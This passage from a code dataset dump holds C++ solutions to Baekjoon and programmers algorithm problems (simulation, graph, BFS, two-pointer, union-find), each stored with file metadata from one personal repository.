house[i][j-1][2]) + house[i][j][0];\n house[i][j][2] = min(house[i][j-1][0], house[i][j-1][1]) + house[i][j][2];\n }\n else if(i == 2){\n house[i][j][0] = min(house[i][j-1][1], house[i][j-1][2]) + house[i][j][0];\n house[i][j][1] = min(house[i][j-1][0], house[i][j-1][2]) + house[i][j][1];\n }\n\n house[i][j][i] = MAX;\n break;\n }\n\n house[i][j][0] = min(house[i][j-1][1], house[i][j-1][2]) + house[i][j][0];\n house[i][j][1] = min(house[i][j-1][0], house[i][j-1][2]) + house[i][j][1];\n house[i][j][2] = min(house[i][j-1][0], house[i][j-1][1]) + house[i][j][2];\n }\n\n ans = min(ans, *min_element(house[i][n-1], house[i][n-1] + 3));\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.35011184215545654,"alphanum_fraction":0.37322893738746643,"avg_line_length":22.330434799194336,"blob_id":"47097805ede177ee97aae2aa58ee4d5607bebbd5","content_id":"9865df3b7021dbf770f36668d9871169df9a90c3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2778,"license_type":"no_license","max_line_length":74,"num_lines":115,"path":"/BOJ/Implementation/16235.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 16235번: 나무 재테크\nDATE: 2022-02-09\nImplementation\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#define MAX 11\nusing namespace std;\n\nint n, m, k;\nint addition[MAX][MAX]; // 추가할 양분의 양\nint nutrient[MAX][MAX]; // 해당 칸에 존재하는 양분의 양\nvector<int> ground[MAX][MAX]; // 해당 칸에 존재하는 나무의 나이\nvector<pair<pair<int,int>, int>> death; // 죽은 나무의 위치와 나이\n\nvoid spring(){\n for(int i = 1 ; i <= n ; i++) {\n for(int j = 1 ; j <= n ; j++){\n sort(ground[i][j].begin(), ground[i][j].end());\n\n for(int k = 0 ; k < ground[i][j].size() ; k++){\n if(nutrient[i][j] >= ground[i][j][k]) {\n nutrient[i][j] -= ground[i][j][k];\n ground[i][j][k] += 1;\n }\n else {\n death.push_back({{i, j}, ground[i][j][k]});\n ground[i][j].erase(ground[i][j].begin() + k);\n k--;\n }\n }\n }\n }\n}\n\nvoid summer(){\n if(death.empty()) return;\n \n for(int i = 0 ; i < death.size() ; i++) {\n int x = death[i].first.first;\n int y = death[i].first.second;\n int add = death[i].second / 2;\n nutrient[x][y] += add;\n }\n\n death.clear();\n}\n\nvoid autumn(){ \n int dx[8] = {-1, -1, 0, 1, 1, 1, 0, -1};\n int dy[8] = {0, 1, 1, 1, 0, -1, -1, -1};\n\n for(int i = 1 ; i <= n ; i++) {\n for(int j = 1 ; j <= n ; j++){\n for(int k = 0 ; k < ground[i][j].size() ; k++){\n if(ground[i][j][k] % 5 == 0) {\n for(int l = 0 ; l < 8 ; l++) {\n int nx = dx[l] + i;\n int ny = dy[l] + j;\n\n if(nx < 1 || ny < 1 || nx > n || ny > n) continue;\n ground[nx][ny].push_back(1);\n }\n }\n }\n }\n }\n}\n\nvoid winter(){\n for(int i = 1 ; i <= n ; i++) {\n for(int j = 1 ; j <= n ; j++) {\n nutrient[i][j] += addition[i][j];\n }\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int x, y, z;\n int ans = 0;\n\n cin >> n >> m >> k;\n\n for(int i = 1 ; i <= n ; i++) {\n for(int j = 1 ; j <= n ; j++) {\n cin >> addition[i][j];\n nutrient[i][j] = 5;\n }\n }\n\n for(int i = 0 ; i < m ; i++) {\n cin >> x >> y >> z;\n ground[x][y].push_back(z);\n }\n\n while(k--){\n spring();\n summer();\n autumn();\n winter();\n }\n\n for(int i = 1 ; i <= n ; i++) {\n for(int j = 1 ; j <= n ; j++){\n ans += ground[i][j].size();\n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.41727495193481445,"alphanum_fraction":0.44525548815727234,"avg_line_length":21.243244171142578,"blob_id":"bae58b6577a56766061f5ef08d8771a4cc5f7dcb","content_id":"0102faa7e14be304fa27a90aa0ef0efe17b4a860","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":834,"license_type":"no_license","max_line_length":69,"num_lines":37,"path":"/BOJ/Implementation/9935.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 9935번: 문자열 폭발\nDATE: 2021-03-22\n*/\n#include <iostream>\n#include <string>\nusing namespace std;\n\n int main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n string str, bomb, ans=\"\";\n int cnt=0;\n cin >> str >> bomb;\n\n for(int i = 0 ; i < str.length() ; i++){\n ans += str[i];\n if(str[i] == bomb[bomb.length()-1]){\n int ansIdx = ans.length()-1;\n int bombIdx = bomb.length()-1;\n\n for(int j = bomb.length() ; j > 0 ; j--){\n if(ans[ansIdx--] == bomb[bombIdx--]) cnt++;\n }\n \n if(cnt == bomb.length()){\n ans.erase(ans.length()-bomb.length(), bomb.length());\n }\n\n cnt = 0;\n }\n }\n\n if(ans == \"\") cout << \"FRULA\";\n else cout << ans;\n\n return 0;\n }"},{"alpha_fraction":0.3503575026988983,"alphanum_fraction":0.3901940882205963,"avg_line_length":21.272727966308594,"blob_id":"758f6c32de9577bfc88cf4d9778ebd0760d414e3","content_id":"d0abd6fa105465b8aa335158ce5606130cc44452","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1017,"license_type":"no_license","max_line_length":60,"num_lines":44,"path":"/BOJ/Graph Theory/11404.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 11404번: 플로이드\nDATE: 2021-04-12\nUPDATE: 2022-03-04\nFloyd-Warshall Algorithm\n*/\n#include <iostream>\n#include <algorithm>\n#define INF 1e9\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m;\n cin >> n >> m;\n\n int arr[n+1][n+1];\n fill(&arr[0][0], &arr[n][n + 1], INF);\n\n for(int i = 0 ; i < m ; i++){\n int a, b, c;\n cin >> a >> b >> c;\n arr[a][b] = min(arr[a][b], c);\n }\n\n for(int k = 1 ; k <= n ; k++){ //거쳐가는 노드\n for(int i = 1 ; i <= n ; i++){ //출발 노드\n for(int j = 1 ; j <= n ; j++){ //도착 노드\n if(arr[i][k] + arr[k][j] < arr[i][j])\n arr[i][j] = arr[i][k] + arr[k][j];\n }\n }\n }\n\n for(int i = 1 ; i <= n ; i++){\n for(int j = 1 ; j <= n ; j++){\n if(i == j || arr[i][j] == INF) cout << 0 << \" \";\n else cout << arr[i][j] << \" \";\n }\n cout << \"\\n\";\n }\n\n return 0;\n}"},{"alpha_fraction":0.4182879328727722,"alphanum_fraction":0.4785992205142975,"avg_line_length":12.20512866973877,"blob_id":"c2a5f56e5db2e66c9d23c61865361a447fc7e814","content_id":"917b8b7c0478120aa44eabb7c90c95c892ea4b1c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":522,"license_type":"no_license","max_line_length":58,"num_lines":39,"path":"/BOJ/Brute Force/2231.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2231번: 분해합\n2021-05-18\nBrute Force\n*/\n#include <iostream>\n#include <algorithm>\n#define MAX 1000001\nusing namespace std;\n\nint f(int num){\n int sum = num;\n\n while (num != 0) {\n\t\tsum += num % 10;\n\t\tnum = num / 10;\n\t}\n\n\treturn sum;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n;\n cin >> n;\n\n for(int i = 1 ; i < n ; i++){\n int num = f(i);\n\n if(num == n){\n cout << i;\n return 0;\n }\n }\n\n cout << 0;\n\n return 0;\n}"},{"alpha_fraction":0.3429228961467743,"alphanum_fraction":0.39355581998825073,"avg_line_length":16.399999618530273,"blob_id":"40015985d17543c0d964fba9c8f884f0cd5309d6","content_id":"8925d587c897b045e39d80cb17d29be089b10a39","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":879,"license_type":"no_license","max_line_length":60,"num_lines":50,"path":"/BOJ/BFS_DFS/1697.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"WINDOWS-1252","text":"/*\nBOJ 1697¹ø: ¼û¹Ù²ÀÁú\nDATE: 2021-01-20\nBFS\n*/\n#include <iostream>\n#include <queue>\n#define MAX 100001\n\nusing namespace std;\n\nint sec[MAX] = { 0, };\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\n int n, k, ans;\n int move[] = { -1, 1, 2 };\n queue <int> q;\n\n cin >> n >> k;\n\n sec[n] = 1;\n q.push(n);\n\n while (!q.empty()) {\n int cur = q.front();\n q.pop();\n\n if (cur == k) {\n cout << sec[cur] - 1;\n break;\n }\n\n int next;\n for (int i = 0; i < 3; i++) {\n if (i == 0 || i == 1)\n next = cur + move[i];\n else\n next = cur * move[i];\n\n if (next >= 0 && next <= 100000 && !sec[next]) {\n q.push(next);\n sec[next] = sec[cur] + 1;\n }\n }\n }\n\n return 0;\n}"},{"alpha_fraction":0.3130003809928894,"alphanum_fraction":0.3492184579372406,"avg_line_length":23.754716873168945,"blob_id":"0a948012662371fe3ffef19bca81e36741803039","content_id":"c33aff34613b517b7459048f73a92c1824558f1f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2653,"license_type":"no_license","max_line_length":99,"num_lines":106,"path":"/BOJ/Implementation/21610.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 21610번: 마법사 상어와 비바라기\nDATE: 2022-03-14\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint n, m, ans;\nint arr[51][51];\nvector<pair<int,int>> cloud, mv_cloud;\nint dr[8] = {0, -1, -1, -1, 0, 1, 1, 1};\nint dc[8] = {-1, -1, 0, 1, 1, 1, 0, -1};\nint diagonalR[4] = {-1, -1, 1, 1};\nint diagonalC[4] = {-1, 1, 1, -1};\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int d, s;\n cin >> n >> m;\n\n for(int i = 1 ; i <= n ; i++){\n for(int j = 1 ; j <= n ; j++){\n cin >> arr[i][j];\n }\n }\n\n cloud.push_back({n - 1, 1});\n cloud.push_back({n - 1, 2});\n cloud.push_back({n, 1});\n cloud.push_back({n, 2});\n\n for(int i = 0 ; i < m ; i++){\n cin >> d >> s;\n\n for(int j = 0 ; j < cloud.size() ; j++){ // 1번\n int r = cloud[j].first;\n int c = cloud[j].second;\n int nr, nc;\n\n for(int k = 0 ; k < s ; k++){\n if(r == 1 && r + dr[d - 1] == 0) nr = n;\n else if(r == n && r + dr[d - 1] == n + 1) nr = 1;\n else nr = r + dr[d - 1];\n\n if(c == 1 && c + dc[d - 1] == 0) nc = n;\n else if(c == n && c + dc[d - 1] == n + 1) nc = 1;\n else nc = c + dc[d - 1];\n\n r = nr;\n c = nc;\n }\n\n mv_cloud.push_back({r, c});\n }\n\n // 2번\n for(int j = 0 ; j < mv_cloud.size() ; j++) arr[mv_cloud[j].first][mv_cloud[j].second] += 1;\n\n // 4번\n for(int j = 0 ; j < mv_cloud.size() ; j++){\n int r = mv_cloud[j].first;\n int c = mv_cloud[j].second;\n int cnt = 0;\n\n for(int k = 0 ; k < 4 ; k++){\n int nr = r + diagonalR[k];\n int nc = c + diagonalC[k];\n\n if(nr == 0 || nc == 0 || nr == n + 1 || nc == n + 1) continue;\n if(arr[nr][nc] > 0) cnt++;\n }\n\n arr[r][c] += cnt;\n }\n\n cloud.clear();\n\n // 5번\n for(int i = 1 ; i <= n ; i++){\n for(int j = 1 ; j <= n ; j++){\n if(arr[i][j] > 1) {\n pair<int,int> p = {i, j};\n\n if(find(mv_cloud.begin(), mv_cloud.end(), p) == mv_cloud.end()){\n cloud.push_back({i, j});\n arr[i][j] -= 2;\n }\n }\n }\n }\n\n mv_cloud.clear();\n }\n\n for(int i = 1 ; i <= n ; i++){\n for(int j = 1 ; j <= n ; j++){\n ans += arr[i][j];\n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4146501123905182,"alphanum_fraction":0.43100064992904663,"avg_line_length":18.615385055541992,"blob_id":"6a7b471e06f22d2b05e600c4b097750e3c5dbb10","content_id":"fed979febba4d8acaf2baf6c1ab21c1bf91d194f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1537,"license_type":"no_license","max_line_length":70,"num_lines":78,"path":"/BOJ/Graph Theory/14725.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 14725번: 개미굴\nDATE: 2021-07-05\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nstruct Node{\n string food;\n vector<Node> children;\n};\n\nNode head;\nNode* cur;\n\nbool cmp(Node a, Node b){\n return a.food < b.food;\n}\n\nbool check(string str){\n for(int k = 0 ; k < cur->children.size() ; k++){\n if(cur->children[k].food == str){\n cur = &(cur->children[k]);\n return true;\n }\n }\n\n return false;\n}\n\nvoid print(Node node, int depth){\n if(node.food != \"\"){\n for(int i = 0 ; i < depth ; i++){\n cout << \"--\";\n }\n cout << node.food << '\\n';\n }\n\n for(int i = 0 ; i < node.children.size() ; i++){\n print(node.children[i], depth+1);\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n string str;\n int n, k;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n int k;\n cin >> k;\n \n cur = &head;\n\n for(int j = 0 ; j < k ; j++){\n cin >> str;\n if(!check(str)){\n Node node;\n node.food = str;\n cur->children.push_back(node);\n\n sort(cur->children.begin(), cur->children.end(), cmp);\n for(int k = 0 ; k < cur->children.size() ; k++){\n if(cur->children[k].food == str){\n cur = &cur->children[k];\n }\n }\n }\n }\n }\n \n print(head, -1);\n\n return 0;\n}"},{"alpha_fraction":0.41980475187301636,"alphanum_fraction":0.4686192572116852,"avg_line_length":16.095237731933594,"blob_id":"ad13ca81378801cdf6f273ee6465746a0423d379","content_id":"4ee4322defebac5fdea8f0e5e0d5b5ffdd63912b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":731,"license_type":"no_license","max_line_length":58,"num_lines":42,"path":"/BOJ/Two Pointer/14921.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 14921번: 용액 합성하기\nDATE: 2022-01-17\nTwo pointer\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n vector<int> v, ans(2);\n int n, num;\n int start, end, min;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n cin >> num;\n v.push_back(num);\n }\n\n start = 0; end = n - 1;\n min = 100000001;\n\n while(start < end){\n int sum = v[start] + v[end];\n\n if(abs(sum) < min){\n ans[0] = v[start];\n ans[1] = v[end];\n min = abs(sum);\n }\n\n if(sum < 0) start++;\n else end--;\n }\n\n cout << ans[0] + ans[1];\n\n return 0;\n}"},{"alpha_fraction":0.37403401732444763,"alphanum_fraction":0.41112828254699707,"avg_line_length":18.636363983154297,"blob_id":"bfe6e8ab81d38a0e07137e59f3fed4e21fa7f9ac","content_id":"e2593633bc67853e87597cca46f6329cd55dda7d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":655,"license_type":"no_license","max_line_length":58,"num_lines":33,"path":"/BOJ/Brute Force/2798.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2798번: 블랙잭\n2021-05-18\nBrute Force\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m, sum, maximum = -1;\n cin >> n >> m;\n\n int arr[n];\n\n for(int i = 0 ; i < n ; i++) cin >> arr[i];\n\n for(int i = 0 ; i < n-2 ; i++){\n for(int j = i + 1 ; j < n-1 ; j++){\n for(int k = j + 1 ; k < n ; k++){\n sum = arr[i] + arr[j] + arr[k];\n if(sum <= m && sum > 0){\n maximum = max(sum, maximum);\n }\n }\n }\n }\n\n cout << maximum;\n\n return 0;\n}"},{"alpha_fraction":0.3739902973175049,"alphanum_fraction":0.394991934299469,"avg_line_length":20,"blob_id":"d8572b8701de9f9cb0ca9c84789f47cc084cb925","content_id":"7bede70cfdd65867c982b9c319c87b812134155a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1314,"license_type":"no_license","max_line_length":73,"num_lines":59,"path":"/BOJ/Implementation/1039.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1039번: 교환\nDATE: 2021-10-16\n*/\n#include <iostream>\n#include <queue>\n#include <set>\nusing namespace std;\n\nvoid swap(string &str, int left, int right){\n char tmp = str[left];\n str[left] = str[right];\n str[right] = tmp;\n}\n\nint main(){\n queue<string> q;\n int n, k, ans = -1;\n cin >> n >> k;\n\n q.push(to_string(n));\n\n for(int i = 0 ; i < k ; i++){ \n set<string> s; \n int qsz = q.size();\n\n for(int j = 0 ; j < qsz ; j++){\n string cur = q.front();\n q.pop();\n\n if(s.count(cur) > 0) continue; //set에 존재하면 패스 (중복 제거) \n else(s.insert(cur));\n\n for(int s = 0 ; s < cur.length() ; s++){ //left\n for(int e = s + 1 ; e < cur.length() ; e++){ //right\n if(!(s == 0 && cur[e] == '0')){ //바꾼 수가 0으로 시작하면 안되므로\n swap(cur, s, e);\n q.push(cur);\n swap(cur, s, e); // 원래대로\n }\n }\n }\n }\n }\n\n while(!q.empty()){\n int num = stoi(q.front());\n ans = max(ans, num);\n q.pop();\n }\n\n if(ans < 10) //0으로 시작할 때\n cout << -1;\n else\n cout << ans;\n\n return 0;\n \n}"},{"alpha_fraction":0.4372217357158661,"alphanum_fraction":0.4772929549217224,"avg_line_length":19.071428298950195,"blob_id":"8433145fa7ab3fd9a1dca9a017c975ba59f03fb1","content_id":"3e1d67e58867dca70becbb7e29e9e0c53121329a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1131,"license_type":"no_license","max_line_length":59,"num_lines":56,"path":"/BOJ/Brute Force/2529.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2529번: 부등호\nDATE: 2021-03-04\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#define MAX 10\nusing namespace std;\n\nint k;\nint num[MAX] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};\nvector <int> maxNum, minNum;\nchar arr[9];\n\nint check(vector<int> &v){\n for(int i = 0 ; i < k ; i++){\n if(arr[i] == '<' && v[i] > v[i+1]) return 1;\n else if(arr[i] == '>' && v[i] < v[i+1]) return 1;\n }\n return 0;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> k;\n\n for(int i = 0 ; i < k ; i++) cin >> arr[i];\n\n//max\n for(int i = 9 ; i >= 9-k ; i--) maxNum.push_back(i);\n\n while(1){\n if(check(maxNum)){\n prev_permutation(maxNum.begin(), maxNum.end());\n }\n else break;\n }\n\n//min\n for(int i = 0 ; i <= k ; i++) minNum.push_back(i);\n\n while(1){\n if(check(minNum)){\n next_permutation(minNum.begin(), minNum.end());\n }\n else break;\n }\n\n for(int i = 0 ; i < k+1 ; i++) cout << maxNum[i];\n cout << '\\n';\n for(int i = 0 ; i < k+1 ; i++) cout << minNum[i];\n cout << '\\n';\n\n return 0;\n}"},{"alpha_fraction":0.4058624505996704,"alphanum_fraction":0.4239007830619812,"avg_line_length":23,"blob_id":"df1af5f747b698754efb0ad21ec1a2944ae9086c","content_id":"0cecfd062e065627474828afaa00cc00aeccdb76","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":897,"license_type":"no_license","max_line_length":73,"num_lines":37,"path":"/programmers/Level 2/string_compression.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers level 2: 문자열 압축\ndate: 2022-04-11\n*/\n#include <string>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint solution(string s) {\n int minVal = s.length(); \n \n for(int i = 1 ; i <= s.length() / 2 ; i++){\n string left, res;\n int cnt = 0;\n \n for(int j = 0 ; j <= s.length() ; j += i){\n string right = s.substr(j, i);\n \n if(left == right) cnt++;\n else if(cnt > 0){\n string tmp = to_string(cnt + 1) + left;\n right.length() >= i ? res += tmp : res += tmp + right;\n \n cnt = 0;\n } \n else right.length() == i ? res += left : res += left + right;\n \n left = right;\n }\n \n int leng = res.length();\n minVal = min(minVal, leng);\n }\n \n return minVal;\n}"},{"alpha_fraction":0.4382871389389038,"alphanum_fraction":0.4609571695327759,"avg_line_length":20.672727584838867,"blob_id":"6e55b08ffd8714e647e85acbb9c6eb7b5f9f4d78","content_id":"d807be0990b8011a865dbe2b8f9a715f0b420679","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1233,"license_type":"no_license","max_line_length":66,"num_lines":55,"path":"/BOJ/Two Pointer/2831.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2831번: 댄스 파티\nDATE: 2022-02-10\nTwo pointer\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n vector<int> posM, negM, posW, negW;\n int n, height;\n int a, b, ans = 0;\n cin >> n;\n\n for(int i = 0 ; i < n * 2 ; i++) {\n cin >> height;\n\n if(height < 0 && i < n) negM.push_back(abs(height));\n else if(height > 0 && i < n) posM.push_back(height);\n else if(height < 0 && i >= n) negW.push_back(abs(height));\n else if(height > 0 && i >= n) posW.push_back(height);\n }\n\n sort(negM.begin(), negM.end());\n sort(posM.begin(), posM.end());\n sort(negW.begin(), negW.end());\n sort(posW.begin(), posW.end());\n\n // 남자 양수 - 여자 음수\n a = 0; b = 0;\n while(a < posM.size() && b < negW.size()) {\n if(posM[a] < negW[b]) {\n ans++;\n a++; b++;\n }\n else b++;\n }\n\n // 남자 음수 - 여자 양수\n a = 0; b = 0;\n while(a < negM.size() && b < posW.size()) {\n if(negM[a] > posW[b]) {\n ans++;\n a++; b++;\n }\n else a++;\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.5106732249259949,"alphanum_fraction":0.5418719053268433,"avg_line_length":18.677419662475586,"blob_id":"d94b84ee17db37425fdeb9378c7970e5a473f854","content_id":"c6f8ca30e3adc942e0b522c89d90694a3579a29d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":621,"license_type":"no_license","max_line_length":86,"num_lines":31,"path":"/BOJ/Implementation/10814.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 10814번: 나이순 정렬\n2022-01-15\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nbool cmp(pair<int,string> a, pair<int,string> b) {\n return a.first < b.first;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n vector<pair<int,string>> vec;\n int n, age;\n string name;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n cin >> age >> name;\n vec.push_back({age, name});\n }\n\n stable_sort(vec.begin(), vec.end(), cmp);\n\n for(int i = 0 ; i < n ; i++) cout << vec[i].first << \" \" << vec[i].second << '\\n';\n\n return 0;\n}"},{"alpha_fraction":0.3915243446826935,"alphanum_fraction":0.4218848943710327,"avg_line_length":20.671232223510742,"blob_id":"82c3d12629a336f3d8d876c9200c812127b318c4","content_id":"b11da7b506f72d5da3796f59b113816bf98b728b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1643,"license_type":"no_license","max_line_length":103,"num_lines":73,"path":"/programmers/Level 2/check_the_distance.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: 거리두기 확인하기\n2021-10-26\n2021 카카오 채용연계형 인턴십\n*/\n#include <string>\n#include <vector>\n#include <iostream>\n#include <string.h>\nusing namespace std;\n\nint dx[4] = {-1, 0, 1, 0};\nint dy[4] = {0, 1, 0, -1};\nbool visited[5][5];\nbool flag;\nvector<string> place;\n\nvoid dfs(int x, int y, int depth) {\n if(depth > 2) { \n return;\n }\n \n visited[x][y] = true;\n \n for(int i = 0 ; i < 4 ; i++) {\n int nx = x + dx[i];\n int ny = y + dy[i];\n \n if(nx < 0 || ny < 0 || nx >= 5 || ny >= 5 || visited[nx][ny] || place[nx][ny] == 'X') continue;\n if(place[nx][ny] == 'P' && depth < 2) { // 거리 2 이하에 사람 있으면 안됨\n flag = false;\n return;\n }\n dfs(nx, ny, depth + 1);\n }\n}\n\nbool func() {\n for(int i = 0 ; i < 5 ; i++) {\n for(int j = 0 ; j < 5 ; j++) {\n if(place[i][j] == 'P') {\n flag = true;\n memset(visited, false, sizeof(visited));\n dfs(i, j, 0);\n if(!flag) return false;\n }\n }\n }\n \n return true;\n}\n\nvector<int> solution(vector<vector<string>> places) {\n vector<int> answer;\n string str;\n \n for(int i = 0 ; i < 5 ; i++) {\n place.clear();\n \n for(int j = 0 ; j < 5 ; j++) {\n for(int k = 0 ; k < 5 ; k++) {\n str += places[i][j][k];\n }\n place.push_back(str);\n str.clear();\n }\n \n if(!func()) answer.push_back(0);\n else answer.push_back(1);\n }\n \n return answer;\n}"},{"alpha_fraction":0.45128780603408813,"alphanum_fraction":0.4916013479232788,"avg_line_length":21.923076629638672,"blob_id":"21ae3ac2740fee9b86be85339bd034295d2762cc","content_id":"27a5893afd88f802ff47aaee00f8d4810611259b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":959,"license_type":"no_license","max_line_length":95,"num_lines":39,"path":"/BOJ/Prefix Sum/14476.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 14476번: 최대공약수 하나 빼기\nDATE: 2022-01-24\nPrefix Sum\n*/\n#include <iostream>\n#define MAX 1000001\nusing namespace std;\n\nlong long arr[MAX], leftArr[MAX], rightArr[MAX];\n\nlong long gcd(long long a, long long b){\n return b ? gcd(b, a % b) : a;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, num;\n int max = -1, idx;\n cin >> n;\n\n for(int i = 1 ; i <= n ; i++) cin >> arr[i];\n for(int i = 1 ; i <= n ; i++) leftArr[i] = gcd(arr[i], leftArr[i - 1]); // 왼쪽부터 최대공약수 누적\n for(int i = n ; i >= 1 ; i--) rightArr[i] = gcd(arr[i], rightArr[i + 1]); // 오른쪽부터 최대공약수 누적\n\n for(int i = 1 ; i <= n ; i++){\n num = gcd(leftArr[i - 1], rightArr[i + 1]);\n\n if(num > max && arr[i] % num != 0) {\n max = num;\n idx = i;\n }\n }\n\n if(max == -1) cout << -1;\n else cout << max << \" \" << arr[idx];\n\n return 0;\n}"},{"alpha_fraction":0.4491434693336487,"alphanum_fraction":0.4657387435436249,"avg_line_length":20.482759475708008,"blob_id":"337c983f28736bfffefc100626dfbb5240183770","content_id":"d45bf5fe8713bd27e2c982853d6129e9add30285","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1956,"license_type":"no_license","max_line_length":86,"num_lines":87,"path":"/BOJ/Graph Theory/1043.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1043번: 거짓말\n2021-12-26\nUnion-Find\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint getParent(int parent[], int x) {\n if(parent[x] == x) return x;\n return parent[x] = getParent(parent, parent[x]);\n}\n\nvoid unionParent(int parent[], int a, int b) {\n a = getParent(parent, a);\n b = getParent(parent, b);\n if(a < b) parent[b] = a;\n else parent[a] = b;\n}\n\nint findParent(int parent[], int a, int b) {\n a = getParent(parent, a);\n b = getParent(parent, b);\n if(a == b) return 1;\n else return 0;\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n vector<int> truth, tmp;\n vector<vector<int>> party;\n int n, m, truthNum; //사람 수, 파티 수, 진실을 아는 사람의 수\n int total, num, ans = 0;\n bool flag;\n cin >> n >> m >> truthNum;\n\n if(truthNum == 0) { // 진실을 아는 사람이 한 명도 없을 때\n cout << m;\n return 0;\n }\n\n int parent[n + 1];\n\n for(int i = 1 ; i <= n ; i++) parent[i] = i;\n\n for(int i = 0 ; i < truthNum ; i++) {\n cin >> num;\n truth.push_back(num); // 진실을 아는 사람들의 번호\n }\n\n for(int i = 0 ; i < m ; i++) {\n cin >> total;\n\n for(int j = 0 ; j < total ; j++) {\n cin >> num;\n tmp.push_back(num);\n }\n\n party.push_back(tmp);\n \n for(int j = 1 ; j < tmp.size() ; j++) unionParent(parent, tmp[j - 1], tmp[j]);\n\n tmp.clear();\n }\n\n for(int i = 0 ; i < party.size() ; i++) {\n flag = true;\n\n for(int j = 0 ; j < party[i].size() ; j++) {\n for(int k = 0 ; k < truth.size() ; k++) {\n if(findParent(parent, party[i][j], truth[k])){\n flag = false;\n break;\n }\n if(!flag) break;\n }\n }\n\n if(flag) ans++;\n }\n\n cout << ans;\n\n return 